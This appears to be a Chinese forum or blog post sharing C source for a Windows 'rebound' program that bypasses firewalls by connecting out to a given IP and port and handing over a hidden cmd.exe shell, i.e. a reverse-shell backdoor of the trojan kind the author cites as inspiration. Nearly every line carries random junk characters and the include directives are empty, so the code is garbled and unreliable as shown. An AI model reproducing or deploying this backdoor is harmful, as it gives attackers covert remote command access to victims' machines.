这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /lC n^E6-
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/* ============================== %u-l6<w#R
Rebound port in Windows NT #*:y2W%H
By wind,2006/7 ]d&6 ?7 !>
===============================*/ f>g>7OsD]
#include B5hk]=Ud
#include iEux`CcJ.
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#pragma comment(lib,"wsock32.lib") Q+*o-
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void OutputShell(); H1N_
SOCKET sClient; 4nzUDeI3MG
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s(q\!\FS
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void main(int argc,char **argv) <v&>&;>3
{ }Y~o =3-
WSADATA stWsaData; ]i3 2-8%
int nRet; ^n"ve2
SOCKADDR_IN stSaiClient,stSaiServer; ~T7\lJ{%G
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if(argc != 3) {<5rbsqk
{ \/I@&$"F
printf("Useage:\n\rRebound DestIP DestPort\n"); / Li?;H
return; u~=>$oT't
} ,~`R{,N`
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WSAStartup(MAKEWORD(2,2),&stWsaData); ZMQSy7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LGGC=;{}
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stSaiClient.sin_family = AF_INET; tRZCOEo4
stSaiClient.sin_port = htons(0); EtK,C~C}8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m7Nm!Z7
{ W]{mEB
printf("Bind Socket Failed!\n"); J'`,];su
return; N%'=el4L
} \74+ cN
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stSaiServer.sin_family = AF_INET; SsiAyQ|Ma
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z6\OkD
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); c&z@HEzV7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _ #288`bU
{ .YKqYN?y4
printf("Connect Error!"); @6w\q?.s
return; w?|gJ*B"
} WDNuR#J?
OutputShell(); 6cQh8_/>{#
} @2cGx/1#
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void OutputShell() `j{5$X
{ 9IZ}}x
char szBuff[1024]; UmZ#Cm
SECURITY_ATTRIBUTES stSecurityAttributes; pwU
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OSVERSIONINFO stOsversionInfo; fx2r\ usX[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :
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STARTUPINFO stStartupInfo; &$ZJfHD@
char *szShell; ,E2Tw-%
PROCESS_INFORMATION stProcessInformation; ORHs1/L`j
unsigned long lBytesRead; ]p~w`_3v
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BR*,E~%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); o Y{L0B[
stSecurityAttributes.lpSecurityDescriptor = 0; 42kr&UY&
stSecurityAttributes.bInheritHandle = TRUE; & F\HR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8%q:lI
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o5)lTVQ~~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B%QvFxZz
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :^]rjy/|+
stStartupInfo.wShowWindow = SW_HIDE; 'M+iw:R__
stStartupInfo.hStdInput = hReadPipe; b"n0Yk1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H`|8x4
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GetVersionEx(&stOsversionInfo); pLi_)(#z_
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switch(stOsversionInfo.dwPlatformId) b:VCr ^vp
{ 77?/e^K\S
case 1: xsn2Qn/P
szShell = "command.com"; L q<#
break; },zP,y:cH
default: 31v0V:j
szShell = "cmd.exe"; yXyL,R
break; Wv!#B$J~U
} q9 !)YP+w
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1'ts>6b
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send(sClient,szMsg,77,0); n?'I&0>M
while(1) 1 ~fD:
{ y}Ji( q~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ahQdBoj
if(lBytesRead) IJ >qs8
{ nKpXRuFn\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); foO/Yc
send(sClient,szBuff,lBytesRead,0); L|O[u^
} x{y}pH "H
else }Fs;sfH
{ *9Eep~ 6
lBytesRead=recv(sClient,szBuff,1024,0); lr[U6CJY
if(lBytesRead<=0) break; 2H+!78
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); g:&YSjO>G
} 5DB4 vh
} &/)2P#u
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return; ZYf0FC=-
}